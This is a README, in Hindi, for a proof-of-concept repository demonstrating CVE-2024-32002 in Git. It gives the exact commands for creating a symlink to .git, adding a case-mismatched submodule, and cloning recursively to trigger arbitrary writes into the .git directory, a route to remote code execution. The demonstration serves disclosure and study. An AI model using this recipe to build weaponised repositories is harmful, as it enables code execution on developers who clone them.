CVE-2024-32002 PRC AW
CVE-2024-32002 के लिए एक POC जो .git निर्देशिका में मनमानी लेखन का प्रदर्शन करता है।
संबंधित सबमॉड्यूल रिपॉजिटरी के लिए cve-2024-32002-submodule-aw देखें।
इस रिपॉजिटरी में क्या है
- एक सिमलिंक जिसका मनमाना नाम है जो
.git निर्देशिका से जुड़ता है।
- एक
.gitmodules फ़ाइल जो दुर्भावनापूर्ण सबमॉड्यूल को परिभाषित करती है।
इस रिपॉजिटरी को कैसे पुनः बनाएं
यह रिपॉजिटरी लिनक्स (विशेष रूप से WSL2) में बनाई गई थी। यह महत्वपूर्ण है, दुर्भावनापूर्ण रिपॉजिटरी केवल केस-सेंसिटिव फ़ाइलसिस्टम पर बनाई जा सकती है।
- सभी छोटे अक्षरों का उपयोग करके एक सिमलिंक बनाएं
ln -s .git submodule
टिप्पणियाँ:
- सिमलिंक को .git फ़ोल्डर की ओर इंगित करना चाहिए, क्योंकि यह वह जगह है जहाँ हम फ़ाइलें लिखना चाहते हैं।
- सिमलिंक का नाम (submodule) मनमाना है, लेकिन इसे एक छोटे अक्षर से शुरू होना चाहिए।
- यह महत्वपूर्ण है, क्योंकि छोटे अक्षर बड़े अक्षरों से पहले क्रमबद्ध होते हैं। जब क्लोनिंग मशीन भ्रमित हो जाती है कि सबमॉड्यूल फ़ाइलें कहाँ लिखनी हैं, तो हम चाहते हैं कि वह सिमलिंक को चुने न कि सामान्य निर्देशिका को।
- दुर्भावनापूर्ण सबमॉड्यूल जोड़ें, सबमॉड्यूल निर्देशिका नाम पर केस अंतर पर ध्यान दें
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
टिप्पणियाँ:
- सबमॉड्यूल का नाम मायने रखता है, यह सबमॉड्यूल में हमारा हुक रखते समय काम आएगा।
- सबमॉड्यूल के पथ का पहला खंड ("Submodule") ऊपर दिए गए सिमलिंक नाम से मेल खाना चाहिए, केवल केस में अंतर होना चाहिए।
- पथ में कम से कम एक और खंड होना चाहिए, क्योंकि git केवल खाली निर्देशिका में सबमॉड्यूल क्लोन करेगा। हालांकि, यह हमारे लिए निर्देशिकाएँ बनाएगा, इसलिए हमने उसे प्रदर्शित करने के लिए "notexists" चुना।
POC कैसे चलाएं
- जाँचें कि क्या आपके पास git का एक कमजोर संस्करण है। प्रभावित संस्करणों के लिए GitHub सलाह देखें।
git --version
- सोचें कि क्या आप जानबूझकर एक ऐसा कमांड चलाना चाहते हैं जो RCE प्राप्त कर सकता है... यह रिपॉजिटरी हानिरहित है, लेकिन क्या आपको यकीन है?
- निम्नलिखित कमांड चलाएं:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- .git निर्देशिका में देखें। क्या कुछ असामान्य दिखता है? संकेत: सबमॉड्यूल में कौन सी फ़ाइलें हैं।